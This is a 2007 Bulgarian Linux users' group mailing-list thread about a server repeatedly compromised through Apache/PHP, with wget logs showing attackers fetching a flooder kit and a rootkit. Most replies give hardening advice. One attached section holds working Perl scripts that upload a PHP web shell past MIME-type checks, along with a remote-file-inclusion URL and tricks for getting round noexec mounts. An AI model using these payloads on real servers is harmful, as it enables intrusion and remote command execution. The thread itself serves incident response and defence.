Re: [Lug-bg] пробив през апаче и пхп :(

2007-07-12 Thread deb4o
е то първите две неща са ми ясни,
ясно ми е че през апач влизат
проблема е че обърнах всички логове и никъде не намирам къде е дупката през 
която влизат...



- Original Message - 
From: Vladimir Vitkov [EMAIL PROTECTED]
To: deb4o [EMAIL PROTECTED]; Linux Users Group - Bulgaria 
lug-bg@linux-bulgaria.org
Sent: Thursday, July 12, 2007 9:04 AM
Subject: Re: [Lug-bg] пробив през апаче и пхп :(


 1) Файла flood е tar.gz архив с няколко флудера, пингъра и други такива.
 2) н.йпг е тар.гз архив със рооткит и бнц
 3) веднага ама веднага сваляй машината offline и почвай да разглеждаш.

 Съветвам те да прегледаш какви приложения вървят на тоя апач. Много
 съмнително е да е през него пробива. Цялото тва нещо е работа на някое
 script kiddie

 On 11/07/07, deb4o [EMAIL PROTECTED] wrote:
 няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на
 irc bot
 все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги
 страртират.
 но искам да разбера къде е дупката в апачето.
 Apache 2.0.53 и php 4.3.9

 Така и не мога да разбера от къде влизат. търсих по логовете но само
 единственно в error log-a на апачето намирам подобни на тези неща:

 --00:43:08--  http://private.whitehat.ro/flood
= `flood'
 Resolving private.whitehat.ro... 72.22.77.22
 Connecting to private.whitehat.ro[72.22.77.22]:80... connected.
 HTTP request sent, awaiting response... 200 OK
 Length: 208,412 [text/plain]

 0K .. .. .. .. .. 24%   60.12
 KB/s
50K .. .. .. .. .. 49%  237.64
 KB/s
   100K .. .. .. .. .. 73%   16.05
 KB/s
   150K .. .. .. .. .. 98%   60.06
 KB/s
   200K ...   100%   10.13
 MB/s

 00:43:13 (40.79 KB/s) - `flood' saved [208412/208412]

 ---
 --11:39:45--  http://private.whitehat.ro/n.jpg
= `n.jpg'
 Resolving private.whitehat.ro... 72.22.77.22
 Connecting to private.whitehat.ro[72.22.77.22]:80... connected.
 HTTP request sent, awaiting response... 200 OK
 Length: 261,375 [image/jpeg]

 0K .. .. .. .. .. 19%   60.85
 KB/s
50K .. .. .. .. .. 39%  122.81
 KB/s
   100K .. .. .. .. .. 58%   16.38
 KB/s
   150K .. .. .. .. .. 78%   61.60
 KB/s
   200K .. .. .. .. .. 97%   81.52
 KB/s
   250K . 100%1.02
 MB/s

 11:39:52 (44.69 KB/s) - `n.jpg' saved [261375/261375]

 ___
 Lug-bg mailing list
 Lug-bg@linux-bulgaria.org
 http://linux-bulgaria.org/mailman/listinfo/lug-bg



 -- 
 С уважение,
 Владимир Витков

 http://www.netsecad.com
 http://www.supportbg.com

 

___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg


Re: [Lug-bg] пробив през апаче и пхп :(

2007-07-12 Thread Vladimir Vitkov
1) Файла flood е tar.gz архив с няколко флудера, пингъра и други такива.
2) н.йпг е тар.гз архив със рооткит и бнц
3) веднага ама веднага сваляй машината offline и почвай да разглеждаш.

Съветвам те да прегледаш какви приложения вървят на тоя апач. Много
съмнително е да е през него пробива. Цялото тва нещо е работа на някое
script kiddie

On 11/07/07, deb4o [EMAIL PROTECTED] wrote:
 няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на
 irc bot
 все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги
 страртират.
 но искам да разбера къде е дупката в апачето.
 Apache 2.0.53 и php 4.3.9

 Така и не мога да разбера от къде влизат. търсих по логовете но само
 единственно в error log-a на апачето намирам подобни на тези неща:

 --00:43:08--  http://private.whitehat.ro/flood
= `flood'
 Resolving private.whitehat.ro... 72.22.77.22
 Connecting to private.whitehat.ro[72.22.77.22]:80... connected.
 HTTP request sent, awaiting response... 200 OK
 Length: 208,412 [text/plain]

 0K .. .. .. .. .. 24%   60.12
 KB/s
50K .. .. .. .. .. 49%  237.64
 KB/s
   100K .. .. .. .. .. 73%   16.05
 KB/s
   150K .. .. .. .. .. 98%   60.06
 KB/s
   200K ...   100%   10.13
 MB/s

 00:43:13 (40.79 KB/s) - `flood' saved [208412/208412]

 ---
 --11:39:45--  http://private.whitehat.ro/n.jpg
= `n.jpg'
 Resolving private.whitehat.ro... 72.22.77.22
 Connecting to private.whitehat.ro[72.22.77.22]:80... connected.
 HTTP request sent, awaiting response... 200 OK
 Length: 261,375 [image/jpeg]

 0K .. .. .. .. .. 19%   60.85
 KB/s
50K .. .. .. .. .. 39%  122.81
 KB/s
   100K .. .. .. .. .. 58%   16.38
 KB/s
   150K .. .. .. .. .. 78%   61.60
 KB/s
   200K .. .. .. .. .. 97%   81.52
 KB/s
   250K . 100%1.02
 MB/s

 11:39:52 (44.69 KB/s) - `n.jpg' saved [261375/261375]

 ___
 Lug-bg mailing list
 Lug-bg@linux-bulgaria.org
 http://linux-bulgaria.org/mailman/listinfo/lug-bg



-- 
С уважение,
Владимир Витков

http://www.netsecad.com
http://www.supportbg.com

___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg


Re: [Lug-bg] пробив през апаче и пхп :(

2007-07-12 Thread Peter Pentchev
On Thu, Jul 12, 2007 at 09:23:00AM +0300, deb4o wrote:
 On Thursday, July 12, 2007 9:04 AM, Vladimir Vitkov wrote:
  1) Файла flood е tar.gz архив с няколко флудера, пингъра и други такива.
  2) н.йпг е тар.гз архив със рооткит и бнц
  3) веднага ама веднага сваляй машината offline и почвай да разглеждаш.
 
  Съветвам те да прегледаш какви приложения вървят на тоя апач. Много
  съмнително е да е през него пробива. Цялото тва нещо е работа на някое
  script kiddie
 
 е то първите две неща са ми ясни,
 ясно ми е че през апач влизат
 проблема е че обърнах всички логове и никъде не намирам къде е дупката през 
 която влизат...

Според мен Владимир искаше да каже, че проблемът в сигурността вероятно
не е нито в самия Apache, нито в самото PHP, а в някое от приложенията,
които този Apache и това PHP пускат - разни форуми, блогове, електронни
магазини, интерфейси към log analyzers, всякакви такива неща.  Тях трябва
да прегледаш - или поне да видиш какви такива неща са инсталирани, кои
версии са, дали за тези версии няма известни проблеми в сигурността и
така нататък.

Поздрави,
Петър

-- 
Peter Pentchev  [EMAIL PROTECTED][EMAIL PROTECTED][EMAIL PROTECTED]
PGP key:http://people.FreeBSD.org/~roam/roam.key.asc
Key fingerprint FDBA FD79 C26F 3C51 C95E  DF9E ED18 B68D 1619 4553
I am the thought you are now thinking.


pgpTmIO9YurMS.pgp
Description: PGP signature
___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg


Re: [Lug-bg] пробив през апаче и пхп : (

2007-07-12 Thread Iassen Anadoliev

On Wed, July 11, 2007 11:16 pm, deb4o wrote:
 няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на
 irc bot
 все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги
 страртират.
 но искам да разбера къде е дупката в апачето.
 Apache 2.0.53 и php 4.3.9

 Така и не мога да разбера от къде влизат. търсих по логовете но само
 единственно в error log-a на апачето намирам подобни на тези неща:

 --00:43:08--  http://private.whitehat.ro/flood
= `flood'
 Resolving private.whitehat.ro... 72.22.77.22
 Connecting to private.whitehat.ro[72.22.77.22]:80... connected.
 HTTP request sent, awaiting response... 200 OK
 Length: 208,412 [text/plain]

 0K .. .. .. .. .. 24%   60.12
 KB/s
50K .. .. .. .. .. 49%  237.64
 KB/s
   100K .. .. .. .. .. 73%   16.05
 KB/s
   150K .. .. .. .. .. 98%   60.06
 KB/s
   200K ...   100%   10.13
 MB/s

 00:43:13 (40.79 KB/s) - `flood' saved [208412/208412]

 ---
 --11:39:45--  http://private.whitehat.ro/n.jpg
= `n.jpg'
 Resolving private.whitehat.ro... 72.22.77.22
 Connecting to private.whitehat.ro[72.22.77.22]:80... connected.
 HTTP request sent, awaiting response... 200 OK
 Length: 261,375 [image/jpeg]

 0K .. .. .. .. .. 19%   60.85
 KB/s
50K .. .. .. .. .. 39%  122.81
 KB/s
   100K .. .. .. .. .. 58%   16.38
 KB/s
   150K .. .. .. .. .. 78%   61.60
 KB/s
   200K .. .. .. .. .. 97%   81.52
 KB/s
   250K . 100%1.02
 MB/s

 11:39:52 (44.69 KB/s) - `n.jpg' saved [261375/261375]

 ___
 Lug-bg mailing list
 Lug-bg@linux-bulgaria.org
 http://linux-bulgaria.org/mailman/listinfo/lug-bg


Малко оффтопик, но nosuid,noexec е лека заблуда на противника:
test:~# dd if=/dev/zero of=fs bs=1k count=100
100+0 records in
100+0 records out
102400 bytes (102 kB) copied, 0.000681537 seconds, 150 MB/s
test:~# losetup -f fs
test:~# mkfs.ext3 /dev/loop0
mke2fs 1.40-WIP (14-Nov-2006)
Filesystem label=
OS type: Linux
snip
/snip
test:~#
test:~# mount -o loop,nosuid,noexec fs mnt
test:~# mount|grep mnt
/root/fs on /root/mnt type ext2 (rw,noexec,nosuid,loop=/dev/loop1)
test:~#
test:~/mnt# cat  EOF  test
 #!/bin/bash
 echo test
 EOF
test:~/mnt#
test:~/mnt# chmod 0755 test
test:~/mnt# ./test
-su: ./test: /bin/bash: bad interpreter: Permission denied
test:~/mnt# /bin/bash test
test
test:~/mnt#

Пробвай safe_mode :)

-- 
WWell by
Iassen Anadoliev




___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg


Re: [Lug-bg] пробив през апаче и пхп :(

2007-07-12 Thread Georgi Alexandrov
deb4o wrote:
 няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на 
 irc bot
 все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги 
 страртират.
snip

/var/tmp също е със world writable права. Единствената разлика с /tmp е,
че обикновено съдържанието на /var/tmp не се трие при стартирането на
системата.

-- 
regards,
Georgi Alexandrov

key server - pgp.mit.edu :: key id - 0x37B4B3EE
Key fingerprint = E429 BF93 FA67 44E9 B7D4  F89E F990 01C1 37B4 B3EE



signature.asc
Description: OpenPGP digital signature
___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg


Re: [Lug-bg] пробив през апаче и пхп :(

2007-07-12 Thread Valery Dachev
Имах подобен проблем с един от сайтовете при мен. Можеш в php.ini да 
добавиш примерно:


   /disable_functions = exec,passthru,system,proc_open,shell_exec/

С това ще забраниш изпълнението по-често използваните функции за 
изпълнение на команди.


Преди това обаче е добре да разбереш как успяват да накарат PHPто да 
изпълнява въпросните функции. В моя случай в бъгавият сайт имаше глупост 
от типа на:


   /include( $path . /neshtosi.php );/

Променливата $path не винаги се установяваше и хахорите извикваха адрес 
от типа на:


   
/http://my.site.com/shitty-script.php?path=http://their.site.com/their-script.txt/

Ако имаш много сайтове и не можеш да разбереш през кой от тях ти правят 
мизерията, погледни кой е потребителят-собственик на изтеглените 
файлове. Това би свършило работа, ако PHP работи като CGI и използваш 
SUExec. Ако е като модул и имаш късмета да си с Apache 2, пробвай да 
инсталираш MPM ITK (в Debian и Ubuntu пакетът е apache2-mpm-itk). 
Разбереш ли кой е потребителят, ще трябва да претърсиш файловете им за 
include, include_once, require и require_once, за да видиш кои от тях 
използват динамични несигурни пътища. Нищо чудно това да е стара версия 
на софтуер с известни проблеми.


Поздрави,
Валери.

deb4o wrote:
няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на 
irc bot
все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги 
страртират.

но искам да разбера къде е дупката в апачето.
Apache 2.0.53 и php 4.3.9

Така и не мога да разбера от къде влизат. търсих по логовете но само 
единственно в error log-a на апачето намирам подобни на тези неща:


--00:43:08--  http://private.whitehat.ro/flood
   = `flood'
Resolving private.whitehat.ro... 72.22.77.22
Connecting to private.whitehat.ro[72.22.77.22]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 208,412 [text/plain]

0K .. .. .. .. .. 24%   60.12 
KB/s
   50K .. .. .. .. .. 49%  237.64 
KB/s
  100K .. .. .. .. .. 73%   16.05 
KB/s
  150K .. .. .. .. .. 98%   60.06 
KB/s
  200K ...   100%   10.13 
MB/s


00:43:13 (40.79 KB/s) - `flood' saved [208412/208412]

---
--11:39:45--  http://private.whitehat.ro/n.jpg
   = `n.jpg'
Resolving private.whitehat.ro... 72.22.77.22
Connecting to private.whitehat.ro[72.22.77.22]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 261,375 [image/jpeg]

0K .. .. .. .. .. 19%   60.85 
KB/s
   50K .. .. .. .. .. 39%  122.81 
KB/s
  100K .. .. .. .. .. 58%   16.38 
KB/s
  150K .. .. .. .. .. 78%   61.60 
KB/s
  200K .. .. .. .. .. 97%   81.52 
KB/s
  250K . 100%1.02 
MB/s


11:39:52 (44.69 KB/s) - `n.jpg' saved [261375/261375] 


___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg
  


___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg


Re: [Lug-bg] пробив през апаче и пхп : (

2007-07-12 Thread Georgi Alexandrov
Iassen Anadoliev wrote:
snip
 Малко оффтопик, но nosuid,noexec е лека заблуда на противника:
 test:~# dd if=/dev/zero of=fs bs=1k count=100
 100+0 records in
 100+0 records out
 102400 bytes (102 kB) copied, 0.000681537 seconds, 150 MB/s
 test:~# losetup -f fs
 test:~# mkfs.ext3 /dev/loop0
 mke2fs 1.40-WIP (14-Nov-2006)
 Filesystem label=
 OS type: Linux
 snip
 /snip
 test:~#
 test:~# mount -o loop,nosuid,noexec fs mnt
 test:~# mount|grep mnt
 /root/fs on /root/mnt type ext2 (rw,noexec,nosuid,loop=/dev/loop1)
 test:~#
 test:~/mnt# cat  EOF  test
 #!/bin/bash
 echo test
 EOF
 test:~/mnt#
 test:~/mnt# chmod 0755 test
 test:~/mnt# ./test
 -su: ./test: /bin/bash: bad interpreter: Permission denied
 test:~/mnt# /bin/bash test
 test
 test:~/mnt#
 
 Пробвай safe_mode :)
 

Не е заблуда на противника. noexec оптцията прави точно това което
трябва да прави. От man 8 mount:

noexec Do  not  allow direct execution of any *binaries* on the mounted
file system.  (Until recently it was possible to run binaries anyway
using a command like /lib/ld*.so /mnt/binary. This trick fails since
Linux 2.4.25 / 2.6.0.)

Това е обсъждано и друг път тук, погледни архива на листа.

-- 
regards,
Georgi Alexandrov

key server - pgp.mit.edu :: key id - 0x37B4B3EE
Key fingerprint = E429 BF93 FA67 44E9 B7D4  F89E F990 01C1 37B4 B3EE



signature.asc
Description: OpenPGP digital signature
___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg


Re: [Lug-bg] пробив през апаче и пхп :(

2007-07-12 Thread Атанас Мавров / Atanas Mavrov
Здравей,
за съжаление не мога да дам съвет къде точно е проблема. Тъй като имах преди 
време подобен проблем, освен нещата които вече се написаха като защита, мога 
да ти препоръчам да сложиш mod_security. Може би малко време ще ти отнеме 
докато го настроши, но мисля, че си заслужава. Може да го намериш тук:
http://www.modsecurity.org/

Поздрави и успех!


На 11.7.2007 23:16 deb4o пише:
 няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на
 irc bot
 все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги
 страртират.
 но искам да разбера къде е дупката в апачето.
 Apache 2.0.53 и php 4.3.9

 Така и не мога да разбера от къде влизат. търсих по логовете но само
 единственно в error log-a на апачето намирам подобни на тези неща:



___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg


Re: [Lug-bg] пробив през апаче и пхп :(

2007-07-12 Thread Marian Marinov
В прикаченото файлче съм описал основните атаки върху web applications.

Най-често в момента се случва да се използват атаките върху getimagesize 
function-а на PHP.

За съжаление, няма директно решение на проблема с getimagesize :(

Поздрави
  Мариан

On Thursday 12 July 2007 11:08:38 Valery Dachev wrote:
 Имах подобен проблем с един от сайтовете при мен. Можеш в php.ini да
 добавиш примерно:

 /disable_functions = exec,passthru,system,proc_open,shell_exec/

 С това ще забраниш изпълнението по-често използваните функции за
 изпълнение на команди.

 Преди това обаче е добре да разбереш как успяват да накарат PHPто да
 изпълнява въпросните функции. В моя случай в бъгавият сайт имаше глупост
 от типа на:

 /include( $path . /neshtosi.php );/

 Променливата $path не винаги се установяваше и хахорите извикваха адрес
 от типа на:


 /http://my.site.com/shitty-script.php?path=http://their.site.com/their-scri
pt.txt/

 Ако имаш много сайтове и не можеш да разбереш през кой от тях ти правят
 мизерията, погледни кой е потребителят-собственик на изтеглените
 файлове. Това би свършило работа, ако PHP работи като CGI и използваш
 SUExec. Ако е като модул и имаш късмета да си с Apache 2, пробвай да
 инсталираш MPM ITK (в Debian и Ubuntu пакетът е apache2-mpm-itk).
 Разбереш ли кой е потребителят, ще трябва да претърсиш файловете им за
 include, include_once, require и require_once, за да видиш кои от тях
 използват динамични несигурни пътища. Нищо чудно това да е стара версия
 на софтуер с известни проблеми.

 Поздрави,
 Валери.




ATTACK 1:

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-new;   # UserAgent is an HTTP client
$res = $ua-request(POST 'http://localhost/upload1.php', # send POS
 Content_Type = 'form-data', # The cont
 # multipart/form-data ? the standard for form-based fi
 Content = [
   userfile = [shell.php, shell.php],# The body
 # request will contain the shell.php file
 ],
);
print $res-as_string(); # Print out the response from the server

RESULT:

POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Length: 156
Content-Type: multipart/form-data; boundary=xYzZY
--xYzZY
Content-Disposition: form-data; name=userfile; filename=shell.php
Content-Type: text/plain
?php
system($_GET['command']);
?
--xYzZY--
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache
X-Powered-By: PHP/4.4.4
Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

COMMAND EXECUTION:
$ curl http://localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

VERIFING THE MIME TYPE:
?php
if($_FILES['userfile']['type'] != image/gif) {
echo Sorry, we only allow uploading GIF images;
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo File is valid, and was successfully uploaded.\n;
} else {
echo File uploading failed.\n;
}
?


RESULT:
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name=userfile; filename=shell.php
Content-Type: text/plain
?php
system($_GET['command']);
?
--xYzZY--
HTTP/1.1 200 OK
Date: Thu, 13 Jun 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4
Content-Length: 41
Connection: close
Content-Type: text/html
Sorry, we only allow uploading GIF images

ATTACK 2:
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-new;;
$res = $ua-request(POST 'http://localhost/upload2.php',
  Content_Type = 'form-data',
  Content = [
   userfile = [shell.php, shell.php, Content-Type = 
image/gif],
  ],
);
print $res-as_string();

RESULT: 
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name=userfile; filename=shell.php
Content-Type: image/gif
?php
system($_GET['command']);
?
--xYzZY--
HTTP/1.1 200 OK
Date: Thu, 13 Jun 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4
Content-Length: 59
Connection: close
Content-Type: text/html
preFile is valid, and was successfully uploaded.
/pre

VALIDATING IMAGE CONTENT:
?php
$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);
if($imageinfo['mime'] != 'image/gif'  $imageinfo['mime'] != 'image/jpeg') {
echo Sorry, we only accept GIF and JPEG images\n;
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if 

Re: [Lug-bg] пробив през апаче и пхп :(

2007-07-12 Thread Marian Marinov
On Thursday 12 July 2007 11:27:16 Georgi Alexandrov wrote:
 deb4o wrote:
  няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на
  irc bot
  все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги
  страртират.

 snip

 /var/tmp също е със world writable права. Единствената разлика с /tmp е,
 че обикновено съдържанието на /var/tmp не се трие при стартирането на
 системата.

Ако използваш suexec, в 90% от ситуациите от там може да се види кой/какво е 
стартирало определения файл. Отново в 90% от случайте... в момента в който 
това се стартира, файловете от които се е стартирало приложението биват 
изтрити.

Поздрави
  Мариян



___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg


Re: [Lug-bg] пробив през апаче и пхп :(

2007-07-12 Thread deb4o
safe_mode не е добър вариант за решение, имам доста виртуални хостове на 
сайтове, никой от тях не използва perl/cgi а само пхп
за всеки сайта съм сетнал open_base dir и не могат да отварят нищо освен 
собсвената си директория. 
единственно session_path не съм сетвал допълнително и е по подразбиране в /tmp

/var/tmp съм я направил като symbolic link към дяла /tmp и там не могат да се 
стартират бинарни файлове.




  - Original Message - 
  From: Valery Dachev 
  To: Linux Users Group - Bulgaria 
  Sent: Thursday, July 12, 2007 11:08 AM
  Subject: Re: [Lug-bg] пробив през апаче и пхп :(


  Имах подобен проблем с един от сайтовете при мен. Можеш в php.ini да добавиш 
примерно:

disable_functions = exec,passthru,system,proc_open,shell_exec

  С това ще забраниш изпълнението по-често използваните функции за изпълнение 
на команди.

  Преди това обаче е добре да разбереш как успяват да накарат PHPто да 
изпълнява въпросните функции. В моя случай в бъгавият сайт имаше глупост от 
типа на:

include( $path . /neshtosi.php );

  Променливата $path не винаги се установяваше и хахорите извикваха адрес от 
типа на:


http://my.site.com/shitty-script.php?path=http://their.site.com/their-script.txt;

  Ако имаш много сайтове и не можеш да разбереш през кой от тях ти правят 
мизерията, погледни кой е потребителят-собственик на изтеглените файлове. Това 
би свършило работа, ако PHP работи като CGI и използваш SUExec. Ако е като 
модул и имаш късмета да си с Apache 2, пробвай да инсталираш MPM ITK (в Debian 
и Ubuntu пакетът е apache2-mpm-itk). Разбереш ли кой е потребителят, ще трябва 
да претърсиш файловете им за include, include_once, require и require_once, за 
да видиш кои от тях използват динамични несигурни пътища. Нищо чудно това да е 
стара версия на софтуер с известни проблеми.

  Поздрави,
  Валери.

  deb4o wrote: 
няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на 
irc bot
все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги 
страртират.
но искам да разбера къде е дупката в апачето.
Apache 2.0.53 и php 4.3.9

Така и не мога да разбера от къде влизат. търсих по логовете но само 
единственно в error log-a на апачето намирам подобни на тези неща:

--00:43:08--  http://private.whitehat.ro/flood
   = `flood'
Resolving private.whitehat.ro... 72.22.77.22
Connecting to private.whitehat.ro[72.22.77.22]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 208,412 [text/plain]

0K .. .. .. .. .. 24%   60.12 
KB/s
   50K .. .. .. .. .. 49%  237.64 
KB/s
  100K .. .. .. .. .. 73%   16.05 
KB/s
  150K .. .. .. .. .. 98%   60.06 
KB/s
  200K ...   100%   10.13 
MB/s

00:43:13 (40.79 KB/s) - `flood' saved [208412/208412]

---
--11:39:45--  http://private.whitehat.ro/n.jpg
   = `n.jpg'
Resolving private.whitehat.ro... 72.22.77.22
Connecting to private.whitehat.ro[72.22.77.22]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 261,375 [image/jpeg]

0K .. .. .. .. .. 19%   60.85 
KB/s
   50K .. .. .. .. .. 39%  122.81 
KB/s
  100K .. .. .. .. .. 58%   16.38 
KB/s
  150K .. .. .. .. .. 78%   61.60 
KB/s
  200K .. .. .. .. .. 97%   81.52 
KB/s
  250K . 100%1.02 
MB/s

11:39:52 (44.69 KB/s) - `n.jpg' saved [261375/261375] 

___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg
  



--


  ___
  Lug-bg mailing list
  Lug-bg@linux-bulgaria.org
  http://linux-bulgaria.org/mailman/listinfo/lug-bg
___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg


Re: [Lug-bg] пробив през апаче и пхп :(

2007-07-12 Thread Georgi Alexandrov
deb4o wrote:
 е то първите две неща са ми ясни,
 ясно ми е че през апач влизат
 проблема е че обърнах всички логове и никъде не намирам къде е дупката през 
 която влизат...
snip

По-скоро разгледай какви php приложения се обслужват от уеб сървъра.

-- 
regards,
Georgi Alexandrov

key server - pgp.mit.edu :: key id - 0x37B4B3EE
Key fingerprint = E429 BF93 FA67 44E9 B7D4  F89E F990 01C1 37B4 B3EE



signature.asc
Description: OpenPGP digital signature
___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg


Re: [Lug-bg] пробив през апаче и пхп :(

2007-07-12 Thread Marian Marinov
Има доста информация в интернет как можеш да стартираш бинарен файл върху дял 
който е монтиран noexec. Основната идея е да се 
използва /lib/ld-linux.so.2 /path/to/binary/file
Е, за да работи това ти трябва специално преправен файл но като цяло няма 
такова нещо като немогат да се стартират програми от този дял(освен ако не си 
с RSBAC, RBAC, NSA SElinux или друг подобен security patch).

Поздрави
  Мариян

On Thursday 12 July 2007 13:53:53 deb4o wrote:
 safe_mode не е добър вариант за решение, имам доста виртуални хостове на
 сайтове, никой от тях не използва perl/cgi а само пхп за всеки сайта съм
 сетнал open_base dir и не могат да отварят нищо освен собсвената си
 директория. единственно session_path не съм сетвал допълнително и е по
 подразбиране в /tmp

 /var/tmp съм я направил като symbolic link към дяла /tmp и там не могат да
 се стартират бинарни файлове.




   - Original Message -
   From: Valery Dachev
   To: Linux Users Group - Bulgaria
   Sent: Thursday, July 12, 2007 11:08 AM
   Subject: Re: [Lug-bg] пробив през апаче и пхп :(


   Имах подобен проблем с един от сайтовете при мен. Можеш в php.ini да
 добавиш примерно:

 disable_functions = exec,passthru,system,proc_open,shell_exec

   С това ще забраниш изпълнението по-често използваните функции за
 изпълнение на команди.

   Преди това обаче е добре да разбереш как успяват да накарат PHPто да
 изпълнява въпросните функции. В моя случай в бъгавият сайт имаше глупост от
 типа на:

 include( $path . /neshtosi.php );

   Променливата $path не винаги се установяваше и хахорите извикваха адрес
 от типа на:


 http://my.site.com/shitty-script.php?path=http://their.site.com/their-scrip
t.txt

   Ако имаш много сайтове и не можеш да разбереш през кой от тях ти правят
 мизерията, погледни кой е потребителят-собственик на изтеглените файлове.
 Това би свършило работа, ако PHP работи като CGI и използваш SUExec. Ако е
 като модул и имаш късмета да си с Apache 2, пробвай да инсталираш MPM ITK
 (в Debian и Ubuntu пакетът е apache2-mpm-itk). Разбереш ли кой е
 потребителят, ще трябва да претърсиш файловете им за include, include_once,
 require и require_once, за да видиш кои от тях използват динамични
 несигурни пътища. Нищо чудно това да е стара версия на софтуер с известни
 проблеми.

   Поздрави,
   Валери.

   deb4o wrote:
 няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на
 irc bot
 все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги
 страртират.
 но искам да разбера къде е дупката в апачето.
 Apache 2.0.53 и php 4.3.9

 Така и не мога да разбера от къде влизат. търсих по логовете но само
 единственно в error log-a на апачето намирам подобни на тези неща:

 --00:43:08--  http://private.whitehat.ro/flood
= `flood'
 Resolving private.whitehat.ro... 72.22.77.22
 Connecting to private.whitehat.ro[72.22.77.22]:80... connected.
 HTTP request sent, awaiting response... 200 OK
 Length: 208,412 [text/plain]

 0K .. .. .. .. .. 24%   60.12
 KB/s
50K .. .. .. .. .. 49%  237.64
 KB/s
   100K .. .. .. .. .. 73%   16.05
 KB/s
   150K .. .. .. .. .. 98%   60.06
 KB/s
   200K ...   100%   10.13
 MB/s

 00:43:13 (40.79 KB/s) - `flood' saved [208412/208412]

 ---
 --11:39:45--  http://private.whitehat.ro/n.jpg
= `n.jpg'
 Resolving private.whitehat.ro... 72.22.77.22
 Connecting to private.whitehat.ro[72.22.77.22]:80... connected.
 HTTP request sent, awaiting response... 200 OK
 Length: 261,375 [image/jpeg]

 0K .. .. .. .. .. 19%   60.85
 KB/s
50K .. .. .. .. .. 39%  122.81
 KB/s
   100K .. .. .. .. .. 58%   16.38
 KB/s
   150K .. .. .. .. .. 78%   61.60
 KB/s
   200K .. .. .. .. .. 97%   81.52
 KB/s
   250K . 100%1.02
 MB/s

 11:39:52 (44.69 KB/s) - `n.jpg' saved [261375/261375]

 ___
 Lug-bg mailing list
 Lug-bg@linux-bulgaria.org
 http://linux-bulgaria.org/mailman/listinfo/lug-bg




 ---
---


   ___
   Lug-bg mailing list
   Lug-bg@linux-bulgaria.org
   http://linux-bulgaria.org/mailman/listinfo/lug-bg



___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg


Re: [Lug-bg] пробив през апаче и пхп :(

2007-07-12 Thread Anton Glinkov
1. сменяш allow_url_fopen = Off в php.ini.
2. рестартираш apache-то.
3. теглиш http://downloads.sourceforge.net/rkhunter/rkhunter-1.2.9.tar.gz
4. инсталираш, пускаш да провери, ако има нещо - отсраняваш.
5. спиш спокойно :-)

___
Lug-bg mailing list
